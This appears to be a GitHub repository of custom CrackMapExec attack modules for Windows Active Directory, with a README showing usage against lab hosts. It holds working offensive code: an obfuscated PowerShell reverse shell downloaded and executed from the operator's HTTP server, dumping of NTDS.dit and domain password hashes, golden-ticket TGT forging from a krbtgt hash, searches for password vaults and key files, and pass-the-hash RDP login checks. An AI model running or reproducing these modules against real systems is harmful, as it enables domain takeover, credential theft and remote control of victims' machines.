├── LICENSE ├── README.md ├── file_discovery.py ├── gettgt.py ├── ntdsutil.py ├── revshell.py ├── winrm.py └── xfreerdp.py /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 Eric Labrador Sainz 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## Usage of ntdsutil 2 | 3 | ````console 4 | crackmapexec smb 192.168.163.144 -u 'Admin2' -p 'Password!' -M ntdsutil 5 | ```` 6 | 7 | ![image](https://github.com/e1abrador/Crackmapexec-custom-modules/assets/74373745/6543c537-cada-4c08-a8b2-3c82757bee22) 8 | 9 | 10 | ## Usage of file_discovery 11 | 12 | ````console 13 | crackmapexec smb 192.168.163.144 -u 'Admin2' -p 'Password!' -M file_discovery -o SEARCH_PATH=C:\\Users 14 | ```` 15 | 16 | ![image](https://github.com/e1abrador/Crackmapexec-custom-modules/assets/74373745/550cfa76-d5ad-4d49-99ba-4fd0f052c98f) 17 | 18 | 19 | ## Usage of revshell 20 | 21 | ````console 22 | crackmapexec smb 192.168.163.144 -u 'Admin2' -p 'Password!' -M reverse_shell -o LHOST=192.168.163.136 LPORT=1234 HTTP_SERVER=8443 23 | ```` 24 | 25 | ![image](https://github.com/e1abrador/Crackmapexec-custom-modules/assets/74373745/a32ac96e-ead0-41fd-a68a-9c7abdafbcd1) 26 | 27 | 28 | ## Usage of winrm 29 | 30 | ````console 31 | crackmapexec smb 192.168.163.142 -u Admin2 -p 'Password123!' -M winrm -o ACTION=ENABLE 32 | crackmapexec smb 192.168.163.142 -u Admin2 -p 'Password123!' -M winrm -o ACTION=DISABLE 33 | ```` 34 | 35 | ![image](https://github.com/e1abrador/Crackmapexec-custom-modules/assets/74373745/2159d3f7-e8d5-4e7b-83a6-d70f9d298aec) 36 | 37 | 38 | ## Usage of gettgt 39 | 40 | ````console 41 | crackmapexec smb 192.168.246.139 -u subadmin -p Password123\! -M gettgt -o KRBTGT_NTLM=70a415ccf57e2a3c781764a3b1beee95 TARGET_USER=Administrador 42 | ```` 43 | 44 | ![image](https://github.com/e1abrador/Crackmapexec-custom-modules/assets/74373745/ef907956-5380-4d6a-baa2-fb5500468985) 45 | 46 | -------------------------------------------------------------------------------- /file_discovery.py: -------------------------------------------------------------------------------- 1 | from csv import reader 2 | 3 | class CMEModule: 4 | """ 5 | Search for interesting files in a specified directory 6 | 7 | Module by Eric Labrador 8 | """ 9 | 10 | name = 'file_discovery' 11 | description = "Search for .sql files in a specified directory." 12 | supported_protocols = ['smb'] 13 | opsec_safe = True # only legitimate commands are executed on the remote host (search process and files) 14 | multiple_hosts = True 15 | 16 | def __init__(self): 17 | self.search_path = '' 18 | 19 | def options(self, context, module_options): 20 | """ 21 | SEARCH_PATH Remote location where to search for .sql files (you must add single quotes around the path if it includes spaces) 22 | Required option 23 | """ 24 | 25 | if 'SEARCH_PATH' in module_options: 26 | self.search_path = module_options['SEARCH_PATH'] 27 | else: 28 | context.log.error('SEARCH_PATH is a required option') 29 | 30 | def on_admin_login(self, context, connection): 31 | # search for .sql files 32 | search_sql_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include *.sql -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format(self.search_path) 33 | search_sql_files_cmd = 'powershell.exe "{}"'.format(search_sql_files_payload) 34 | search_sql_files_output = connection.execute(search_sql_files_cmd, True).split("\r\n") 35 | found = False 36 | for file in search_sql_files_output: 37 | if '.sql' in file: 38 | found = True 39 | context.log.highlight('Found .sql file: {}'.format(file)) 40 | 41 | # search for .msg files 42 | search_msg_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include *.msg -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format(self.search_path) 43 | search_msg_files_cmd = 'powershell.exe "{}"'.format(search_msg_files_payload) 44 | search_msg_files_output = connection.execute(search_msg_files_cmd, True).split("\r\n") 45 | found = False 46 | for file in search_msg_files_output: 47 | if '.msg' in file: 48 | found = True 49 | context.log.highlight('Found .msg file: {}'.format(file)) 50 | 51 | # search for .cer files 52 | search_cer_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include *.cer -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format(self.search_path) 53 | search_cer_files_cmd = 'powershell.exe "{}"'.format(search_cer_files_payload) 54 | search_cer_files_output = connection.execute(search_cer_files_cmd, True).split("\r\n") 55 | found = False 56 | for file in search_cer_files_output: 57 | if '.cer' in file: 58 | found = True 59 | context.log.highlight('Found .cer file: {}'.format(file)) 60 | 61 | # search for .kdbx files 62 | search_kdbx_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include *.kdbx -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format(self.search_path) 63 | search_kdbx_files_cmd = 'powershell.exe "{}"'.format(search_kdbx_files_payload) 64 | search_kdbx_files_output = connection.execute(search_kdbx_files_cmd, True).split("\r\n") 65 | found = False 66 | for file in search_kdbx_files_output: 67 | if '.kdbx' in file: 68 | found = True 69 | context.log.highlight('Found .kdbx file: {}'.format(file)) 70 | 71 | # search for .txt files 72 | search_txt_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include *.txt -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format(self.search_path) 73 | search_txt_files_cmd = 'powershell.exe "{}"'.format(search_txt_files_payload) 74 | search_txt_files_output = connection.execute(search_txt_files_cmd, True).split("\r\n") 75 | found = False 76 | for file in search_txt_files_output: 77 | if '.txt' in file: 78 | found = True 79 | context.log.highlight('Found .txt file: {}'.format(file)) 80 | 81 | # search for .bak files 82 | search_bak_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include *.bak -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format(self.search_path) 83 | search_bak_files_cmd = 'powershell.exe "{}"'.format(search_bak_files_payload) 84 | search_bak_files_output = connection.execute(search_bak_files_cmd, True).split("\r\n") 85 | found = False 86 | for file in search_bak_files_output: 87 | if '.bak' in file: 88 | found = True 89 | context.log.highlight('Found .bak file: {}'.format(file)) 90 | 91 | # search for .env files 92 | search_env_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include *.env -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format(self.search_path) 93 | search_env_files_cmd = 'powershell.exe "{}"'.format(search_env_files_payload) 94 | search_env_files_output = connection.execute(search_env_files_cmd, True).split("\r\n") 95 | found = False 96 | for file in search_env_files_output: 97 | if '.env' in file: 98 | found = True 99 | context.log.highlight('Found .env file: {}'.format(file)) 100 | 101 | # search for .yml files 102 | search_yml_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include *.yml -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format(self.search_path) 103 | search_yml_files_cmd = 'powershell.exe "{}"'.format(search_yml_files_payload) 104 | search_yml_files_output = connection.execute(search_yml_files_cmd, True).split("\r\n") 105 | found = False 106 | for file in search_yml_files_output: 107 | if '.yml' in file: 108 | found = True 109 | context.log.highlight('Found .yml file: {}'.format(file)) 110 | 111 | # search for .yaml files 112 | search_yaml_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include *.yaml -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format(self.search_path) 113 | search_yaml_files_cmd = 'powershell.exe "{}"'.format(search_yaml_files_payload) 114 | search_yaml_files_output = connection.execute(search_yaml_files_cmd, True).split("\r\n") 115 | found = False 116 | for file in search_yaml_files_output: 117 | if '.yaml' in file: 118 | found = True 119 | context.log.highlight('Found .yaml file: {}'.format(file)) 120 | 121 | # search for .properties files 122 | search_properties_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include *.properties -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format(self.search_path) 123 | search_properties_files_cmd = 'powershell.exe "{}"'.format(search_properties_files_payload) 124 | search_properties_files_output = connection.execute(search_properties_files_cmd, True).split("\r\n") 125 | found = False 126 | for file in search_properties_files_output: 127 | if '.properties' in file: 128 | found = True 129 | context.log.highlight('Found .properties file: {}'.format(file)) 130 | 131 | # search for .ini files 132 | search_ini_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include *.ini -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format(self.search_path) 133 | search_ini_files_cmd = 'powershell.exe "{}"'.format(search_ini_files_payload) 134 | search_ini_files_output = connection.execute(search_ini_files_cmd, True).split("\r\n") 135 | found = False 136 | for file in search_ini_files_output: 137 | if '.ini' in file: 138 | found = True 139 | context.log.highlight('Found .ini file: {}'.format(file)) 140 | 141 | # search for .config files 142 | search_config_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include *.config -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format(self.search_path) 143 | search_config_files_cmd = 'powershell.exe "{}"'.format(search_config_files_payload) 144 | search_config_files_output = connection.execute(search_config_files_cmd, True).split("\r\n") 145 | found = False 146 | for file in search_config_files_output: 147 | if '.config' in file: 148 | found = True 149 | context.log.highlight('Found .config file: {}'.format(file)) 150 | 151 | # search for .cfg files 152 | search_cfg_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include *.cfg -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format(self.search_path) 153 | search_cfg_files_cmd = 'powershell.exe "{}"'.format(search_cfg_files_payload) 154 | search_cfg_files_output = connection.execute(search_cfg_files_cmd, True).split("\r\n") 155 | found = False 156 | for file in search_cfg_files_output: 157 | if '.cfg' in file: 158 | found = True 159 | context.log.highlight('Found .cfg file: {}'.format(file)) 160 | 161 | 162 | # search for .conf files 163 | search_conf_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include *.conf -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format(self.search_path) 164 | search_conf_files_cmd = 'powershell.exe "{}"'.format(search_conf_files_payload) 165 | search_conf_files_output = connection.execute(search_conf_files_cmd, True).split("\r\n") 166 | found = False 167 | for file in search_conf_files_output: 168 | if '.conf' in file: 169 | found = True 170 | context.log.highlight('Found .conf file: {}'.format(file)) 171 | 172 | # search for .cnf files 173 | search_cnf_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include *.cnf -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format(self.search_path) 174 | search_cnf_files_cmd = 'powershell.exe "{}"'.format(search_cnf_files_payload) 175 | search_cnf_files_output = connection.execute(search_cnf_files_cmd, True).split("\r\n") 176 | found = False 177 | for file in search_cnf_files_output: 178 | if '.cnf' in file: 179 | found = True 180 | context.log.highlight('Found .cnf file: {}'.format(file)) 181 | 182 | # search for .plist files 183 | search_plist_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include *.plist -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format(self.search_path) 184 | search_plist_files_cmd = 'powershell.exe "{}"'.format(search_plist_files_payload) 185 | search_plist_files_output = connection.execute(search_plist_files_cmd, True).split("\r\n") 186 | found = False 187 | for file in search_plist_files_output: 188 | if '.plist' in file: 189 | found = True 190 | context.log.highlight('Found .plist file: {}'.format(file)) 191 | 192 | 193 | # search for .key files 194 | search_key_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include *.key -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format(self.search_path) 195 | search_key_files_cmd = 'powershell.exe "{}"'.format(search_key_files_payload) 196 | search_key_files_output = connection.execute(search_key_files_cmd, True).split("\r\n") 197 | found = False 198 | for file in search_key_files_output: 199 | if '.key' in file: 200 | found = True 201 | context.log.highlight('Found .key file: {}'.format(file)) 202 | 203 | # search for .netrc files 204 | search_netrc_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include *.netrc -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format(self.search_path) 205 | search_netrc_files_cmd = 'powershell.exe "{}"'.format(search_netrc_files_payload) 206 | search_netrc_files_output = connection.execute(search_netrc_files_cmd, True).split("\r\n") 207 | found = False 208 | for file in search_netrc_files_output: 209 | if '.netrc' in file: 210 | found = True 211 | context.log.highlight('Found .netrc file: {}'.format(file)) 212 | 213 | 214 | # search for .php files 215 | search_php_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include *.php -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format(self.search_path) 216 | search_php_files_cmd = 'powershell.exe "{}"'.format(search_php_files_payload) 217 | search_php_files_output = connection.execute(search_php_files_cmd, True).split("\r\n") 218 | found = False 219 | for file in search_php_files_output: 220 | if '.php' in file: 221 | found = True 222 | context.log.highlight('Found .php file: {}'.format(file)) 223 | 224 | -------------------------------------------------------------------------------- /gettgt.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | # Import required libraries 5 | import os 6 | import subprocess 7 | import shutil 8 | 9 | # Define a class for the CMEModule that includes options, description, supported protocols, safety, and multiple hosts. 10 | class CMEModule: 11 | name = "gettgt" 12 | description = "Remotely generate a TGT for any user via krbtgt account." 13 | supported_protocols = ["smb"] 14 | opsec_safe = True 15 | multiple_hosts = True 16 | 17 | # Define options to pass as parameters for the module. In this case, the target user and the NTLM hash for krbtgt user. 18 | def options(self, context, module_options): 19 | ''' 20 | TARGET_USER // Target user to generate the TGT. 21 | KRBTGT_NTLM // NTLM Hash for krbtgt user. 22 | ''' 23 | 24 | if "TARGET_USER" in module_options: 25 | self.target_user = module_options["TARGET_USER"] 26 | 27 | if "KRBTGT_NTLM" in module_options: 28 | self.krbtgt_ntlm = module_options["KRBTGT_NTLM"] 29 | 30 | # Define the main function to be executed when an admin login is successful. 31 | def on_admin_login(self, context, connection): 32 | 33 | # Define variables related to the connection. 34 | domain = connection.domain 35 | username = connection.username 36 | host = connection.host 37 | nthash = getattr(connection, "nthash", "") 38 | hostname = connection.hostname 39 | 40 | # Define the URL and path for the Impacket repository. 41 | repo_url = "https://github.com/SecureAuthCorp/impacket" 42 | repo_path = "/opt/impacket" 43 | 44 | # Check if the Impacket repository is already installed. If not, clone it and install it. 45 | if not os.path.exists(repo_path): 46 | subprocess.run(["git", "clone", repo_url, repo_path], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) 47 | cmd = ["python3", f"{repo_path}/setup.py", "install"] 48 | subprocess.run(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) 49 | 50 | # Define the file path for the TGT file and the destination path for the logs. 51 | tgt_file = self.target_user + "@" + domain + ".ccache" 52 | destination_path = os.path.join(os.path.expanduser('~'), '.cme', 'logs') 53 | file_path = destination_path + "/" + tgt_file 54 | 55 | # Check if the TGT file already exists in the destination path. If so, log an error message. 56 | if os.path.isfile(file_path): 57 | context.log.error(f"{highlight(file_path)} already exists. The TGT won't be requested.") 58 | else: 59 | # Extract the SID needed to get the TGT. 60 | check_sid = 'powershell.exe -c "(Get-ADDomain).DomainSID.Value"' 61 | data = connection.execute(check_sid, True, methods=["smbexec"]).splitlines() 62 | sid = data[0] 63 | 64 | # Log a message indicating that the SID has been extracted. 65 | context.log.info("Trying to get the SID of the domain...") 66 | context.log.success("Domain SID successfully extracted: " + sid) 67 | 68 | # Log a message indicating that a TGT is being requested for the target user. 69 | context.log.info(f"Requesting a TGT for user {highlight(self.target_user)}.") 70 | 71 | # Call ticketer.py with the required parameters to request a TGT. 72 | os.system(f"ticketer.py -nthash {self.krbtgt_ntlm} -domain-sid {sid} -domain {domain} {self.target_user} >/dev/null 2>&1") 73 | 74 | old_name = f"{self.target_user}.ccache" 75 | new_name = tgt_file 76 | os.rename(old_name, new_name) 77 | 78 | # Move the TGT file to the destination path for the logs. 79 | 80 | local_path = "./" + tgt_file 81 | 82 | # Move the TGT file to the destination path for the logs. 83 | shutil.move(os.path.abspath(local_path), destination_path) 84 | 85 | # Check if the TGT file exists in the destination path. If so, log a success message. 86 | if os.path.isfile(file_path): 87 | context.log.success(f"Successfully dumped the TGT to {highlight(file_path)}") 88 | -------------------------------------------------------------------------------- /ntdsutil.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # ntdsutil module for CME python3 4 | # author of the module : github.com/e1abrador 5 | # secretsdump: https://github.com/fortra/impacket/blob/master/examples/secretsdump.py 6 | # ntdsutil: https://github.com/zblurx/ntdsutil.py 7 | # Inspired in: https://twitter.com/mpgn_x64/status/1638998623701684247 8 | 9 | import subprocess 10 | import random 11 | import string 12 | import os 13 | import datetime 14 | import shutil 15 | 16 | class CMEModule: 17 | name = "ntdsutil" 18 | description = "Remotely dump NTDS using NTDSUTIL to avoid crashing the DC on 2019" 19 | supported_protocols = ["smb"] 20 | opsec_safe= True 21 | multiple_hosts = True 22 | 23 | def options(self, context, module_options): 24 | """ 25 | """ 26 | 27 | def on_admin_login(self, context, connection): 28 | 29 | domain = connection.domain 30 | username = connection.username 31 | host = connection.host 32 | password = getattr(connection, "password", "") 33 | nthash = getattr(connection, "nthash", "") 34 | hostname = connection.hostname 35 | 36 | # Clone and install ntdsutil.py 37 | repo_url = "https://github.com/zblurx/ntdsutil.py" 38 | repo_path = "/opt/ntdsutil.py" 39 | 40 | if not os.path.exists(repo_path): 41 | subprocess.run(["git", "clone", repo_url, repo_path], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) 42 | cmd = ["python3", f"{repo_path}/setup.py", "install"] 43 | subprocess.run(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) 44 | 45 | # Clone and install impacket 46 | repo_url = "https://github.com/SecureAuthCorp/impacket" 47 | repo_path = "/opt/impacket" 48 | 49 | if not os.path.exists(repo_path): 50 | subprocess.run(["git", "clone", repo_url, repo_path], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) 51 | cmd = ["python3", f"{repo_path}/setup.py", "install"] 52 | subprocess.run(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) 53 | 54 | repo_name = "ntdsutil.py" 55 | repo_path = f"/opt/{repo_name}" 56 | 57 | # NTLM authentication 58 | if password == "": 59 | context.log.info("Using NTLM authentication.") 60 | context.log.info("Dumping ntds with ntdsutil.exe.") 61 | random_string = ''.join(random.choices(string.ascii_letters + string.digits, k=10)) 62 | os.system(f"python3 {repo_path}/ntdsutil.py {domain}/{username}:{password}@{host} -hashes {nthash} -outputdir /tmp/{random_string} >/dev/null 2>&1") 63 | if os.path.exists(f"/tmp/{random_string}/Active Directory/ntds.dit"): 64 | context.log.highlight(f"NTDS.dit copied at /tmp/{random_string}/Active Directory/ntds.dit") 65 | if os.path.exists(f"/tmp/{random_string}/registry/SYSTEM"): 66 | context.log.highlight(f"SYSTEM copied at /tmp/{random_string}/registry/SYSTEM") 67 | if os.path.exists(f"/tmp/{random_string}/registry/SECURITY"): 68 | context.log.highlight(f"SECURITY copied at /tmp/{random_string}/registry/SECURITY") 69 | context.log.success(f"Dumping the NTDS, this could take a while so go grab a redbull...") 70 | os.system(f"impacket-secretsdump -system /tmp/{random_string}/registry/SYSTEM -ntds '/tmp/{random_string}/Active Directory/ntds.dit' LOCAL -outputfile /tmp/{random_string}/hashes.txt >/dev/null 2>&1") 71 | with open(f"/tmp/{random_string}/hashes.txt.ntds", "r") as f: 72 | for line in f: 73 | context.log.highlight(line.strip()) 74 | line_count = 0 75 | with open(f"/tmp/{random_string}/hashes.txt.ntds", "r") as f: 76 | for line in f: 77 | line_count += 1 78 | now = datetime.datetime.now() 79 | formatted_date = now.strftime("%Y_%m_%d_%H%M%S") 80 | old_path = '/tmp/' + random_string + '/hashes.txt.ntds' 81 | full_filename = hostname + '_' + host + "_" + formatted_date + '.ntds' 82 | new_path = '/tmp/' + random_string + "/" + full_filename 83 | os.rename(old_path, new_path) 84 | destination_path = os.path.join(os.path.expanduser('~'), '.cme', 'logs') 85 | shutil.move(new_path, destination_path) 86 | dump_path = destination_path + "/" + full_filename 87 | context.log.success(f"Dumped {highlight(line_count)} NTDS hashes to {dump_path}") 88 | remove_path = '/tmp/' + random_string 89 | shutil.rmtree(remove_path) 90 | context.log.info(f"Removed successfuly {remove_path}") 91 | else: 92 | context.log.error('It was not possible to download SECURITY') 93 | else: 94 | context.log.error('It was not possible to download SYSTEM') 95 | else: 96 | context.log.error('It was not possible to download ntds.dit') 97 | # Password authentication 98 | else: 99 | context.log.info("Using password authentication.") 100 | context.log.info("Dumping ntds with ntdsutil.exe.") 101 | random_string = ''.join(random.choices(string.ascii_letters + string.digits, k=10)) 102 | os.system(f"python3 {repo_path}/ntdsutil.py {domain}/{username}:{password}@{host} -outputdir /tmp/{random_string} >/dev/null 2>&1") 103 | if os.path.exists(f"/tmp/{random_string}/Active Directory/ntds.dit"): 104 | context.log.highlight(f"NTDS.dit copied at /tmp/{random_string}/Active Directory/ntds.dit") 105 | if os.path.exists(f"/tmp/{random_string}/registry/SYSTEM"): 106 | context.log.highlight(f"SYSTEM copied at /tmp/{random_string}/registry/SYSTEM") 107 | if os.path.exists(f"/tmp/{random_string}/registry/SECURITY"): 108 | context.log.highlight(f"SECURITY copied at /tmp/{random_string}/registry/SECURITY") 109 | context.log.success(f"Dumping the NTDS, this could take a while so go grab a redbull...") 110 | os.system(f"impacket-secretsdump -system /tmp/{random_string}/registry/SYSTEM -ntds '/tmp/{random_string}/Active Directory/ntds.dit' LOCAL -outputfile /tmp/{random_string}/hashes.txt >/dev/null 2>&1") 111 | with open(f"/tmp/{random_string}/hashes.txt.ntds", "r") as f: 112 | for line in f: 113 | context.log.highlight(line.strip()) 114 | line_count = 0 115 | with open(f"/tmp/{random_string}/hashes.txt.ntds", "r") as f: 116 | for line in f: 117 | line_count += 1 118 | now = datetime.datetime.now() 119 | formatted_date = now.strftime("%Y_%m_%d_%H%M%S") 120 | old_path = '/tmp/' + random_string + '/hashes.txt.ntds' 121 | full_filename = hostname + '_' + host + "_" + formatted_date + '.ntds' 122 | new_path = '/tmp/' + random_string + "/" + full_filename 123 | os.rename(old_path, new_path) 124 | destination_path = os.path.join(os.path.expanduser('~'), '.cme', 'logs') 125 | shutil.move(new_path, destination_path) 126 | dump_path = destination_path + "/" + full_filename 127 | context.log.success(f"Dumped {highlight(line_count)} NTDS hashes to {dump_path}") 128 | remove_path = '/tmp/' + random_string 129 | shutil.rmtree(remove_path) 130 | context.log.info(f"Removed successfuly {remove_path}") 131 | else: 132 | context.log.error('It was not possible to download SECURITY') 133 | else: 134 | context.log.error('It was not possible to download SYSTEM') 135 | else: 136 | context.log.error('It was not possible to download ntds.dit') 137 | -------------------------------------------------------------------------------- /revshell.py: -------------------------------------------------------------------------------- 1 | import os 2 | import time 3 | import subprocess 4 | 5 | class CMEModule: 6 | """ 7 | Create a reverse shell 8 | 9 | Module by Eric Labrador 10 | """ 11 | 12 | name = 'reverse_shell' 13 | description = "Create a reverse shell." 14 | supported_protocols = ['smb'] 15 | opsec_safe = True 16 | multiple_hosts = True 17 | 18 | def __init__(self): 19 | self.lhost = '' 20 | 21 | def options(self, context, module_options): 22 | """ 23 | LHOST Local IP address to connect the reverse shell to 24 | Required option 25 | LPORT Local Port to connect the reverse shell to 26 | Required option 27 | HTTP_SERVER Local Port to start the http server 28 | Required option 29 | """ 30 | 31 | if 'LHOST' in module_options: 32 | self.lhost = module_options['LHOST'] 33 | else: 34 | context.log.error('LHOST is a required option') 35 | if 'LPORT' in module_options: 36 | self.lport = module_options['LPORT'] 37 | else: 38 | context.log.error('LPORT is a required option') 39 | if 'HTTP_SERVER' in module_options: 40 | self.http_port = module_options['HTTP_SERVER'] 41 | else: 42 | context.log.error('HTTP_SERVER is a required option') 43 | 44 | 45 | def on_admin_login(self, context, connection): 46 | context.log.info('Run the following command "nc -lvnp ' + self.lport + '" to receive the reverse shell.') 47 | revshell1 = "$KLK = New-Object System.Net.Sockets.TCPClient('" + self.lhost + "','" + self.lport + "');" 48 | revshell2 = "$PLP = $KLK.GetStream();" 49 | revshell3 = "[byte[]]$VVCCA = 0..((2-shl(3*5))-1)|%{0};" 50 | revshell5 = "$VVCCA = ([text.encoding]::UTF8).GetBytes('Succesfuly connected .`n`n')" 51 | revshell6 = "$PLP.Write($VVCCA,0,$VVCCA.Length)" 52 | revshell7 = "$VVCCA = ([text.encoding]::UTF8).GetBytes((Get-Location).Path + ' > ')" 53 | revshell8 = "$PLP.Write($VVCCA,0,$VVCCA.Length)" 54 | revshell9 = "[byte[]]$VVCCA = 0..((2-shl(3*5))-1)|%{0};" 55 | revshell10 = "while(($A = $PLP.Read($VVCCA, 0, $VVCCA.Length)) -ne 0){;$DD = (New-Object System.Text.UTF8Encoding).GetString($VVCCA,0, $A);" 56 | revshell11 = "$VZZS = (i`eX $DD 2>&1 | Out-String );" 57 | revshell12 = "$HHHHHH = $VZZS + (pwd).Path + '! ';" 58 | revshell13 = "$L = ([text.encoding]::UTF8).GetBytes($HHHHHH);" 59 | revshell14 = "$PLP.Write($L,0,$L.Length);" 60 | revshell15 = "$PLP.Flush()};" 61 | revshell16 = "$KLK.Close()" 62 | 63 | file = open("helloAV.ps1" ,"w") 64 | file.write(revshell1 + "\n" + revshell2 + "\n" + revshell3 + "\n" + revshell5 + "\n" + revshell6 + "\n" + revshell7 + "\n" + revshell8 + "\n" + revshell9 + "\n" + revshell10 + "\n" + revshell11 + "\n" + revshell12 + "\n" + revshell13 + "\n" + revshell14 + "\n" + revshell15 + "\n" + revshell16) 65 | file.close() 66 | 67 | subprocess.Popen("python3 -m http.server " + self.http_port + " &", shell=True, 68 | stdout=subprocess.PIPE,stdin=subprocess.PIPE, stderr=subprocess.PIPE) 69 | 70 | time.sleep(7) 71 | 72 | reverse_shell_command = "powershell.exe IEX(New-Object Net.WebClient).downloadString('http://" + self.lhost + ":" + self.http_port + "/helloAV.ps1')" 73 | connection.execute(reverse_shell_command, False) 74 | context.log.success('Reverse shell payload executed.') 75 | 76 | time.sleep(2) 77 | 78 | os.system("pkill -f http.server") 79 | os.system("rm -r helloAV.ps1") 80 | -------------------------------------------------------------------------------- /winrm.py: -------------------------------------------------------------------------------- 1 | class CMEModule: 2 | """ 3 | Enable/Disable WinRM service 4 | Module by Eric Labrador 5 | """ 6 | name = 'winrm' 7 | description = 'Enable/Disable WinRM service' 8 | supported_protocols = ['smb'] 9 | opsec_safe = True 10 | multiple_hosts = True 11 | 12 | def options(self, context, module_options): 13 | ''' 14 | ACTION Enable/Disable WinRM service (choices: enable, disable) 15 | ''' 16 | 17 | if not 'ACTION' in module_options: 18 | context.log.error('ACTION option not specified!') 19 | exit(1) 20 | 21 | if module_options['ACTION'].lower() not in ['enable', 'disable']: 22 | context.log.error('Invalid value for ACTION option!') 23 | exit(1) 24 | 25 | self.action = module_options['ACTION'].lower() 26 | 27 | def on_admin_login(self, context, connection): 28 | if self.action == 'enable': 29 | enable_winrm_command = 'powershell.exe "Enable-PSRemoting -Force"' 30 | connection.execute(enable_winrm_command, True).split("\r\n") 31 | context.log.highlight('WinRM enabled successfully') 32 | elif self.action == 'disable': 33 | disable_winrm_command = 'powershell.exe "Stop-Service WinRM"' 34 | connection.execute(disable_winrm_command, True).split("\r\n") 35 | context.log.highlight('WinRM disabled successfully') 36 | -------------------------------------------------------------------------------- /xfreerdp.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | 3 | class CMEModule: 4 | name = "xfreerdp" 5 | description = "Remotely check if RDP connection is possible using xfreerdp" 6 | supported_protocols = ["smb"] 7 | opsec_safe= True 8 | multiple_hosts = True 9 | 10 | def options(self, context, module_options): 11 | """ 12 | """ 13 | 14 | def on_admin_login(self, context, connection): 15 | 16 | domain = connection.domain 17 | username = connection.username 18 | host = connection.host 19 | password = getattr(connection, "password", "") 20 | nthash = getattr(connection, "nthash", "") 21 | hostname = connection.hostname 22 | 23 | 24 | if password == "": 25 | command = f'xfreerdp /v:{host} +auth-only /d:{domain} /u:{username} /pth:{nthash} /cert-ignore' 26 | showcommand = f'xfreerdp /v:{host} /d:{domain} /u:{username} /p:{nthash} /cert-ignore' 27 | try: 28 | output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT) 29 | success_login_yes_rdp = "Authentication only, exit status 0" 30 | if success_login_yes_rdp in output.decode('utf-8'): 31 | context.log.success(f"Connection successfuly in RDP using provided credentials.") 32 | context.log.success(showcommand) 33 | else: 34 | None 35 | #context.log.error("Authentication error using xfreerdp") 36 | except subprocess.CalledProcessError as e: 37 | None 38 | #context.log.error("Authentication error using xfreerdp.") 39 | 40 | else: 41 | command = f'xfreerdp /v:{host} +auth-only /d:{domain} /u:{username} /p:{password} /cert-ignore' 42 | showcommand = f'xfreerdp /v:{host} /d:{domain} /u:{username} /p:{password} /cert-ignore' 43 | try: 44 | output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT) 45 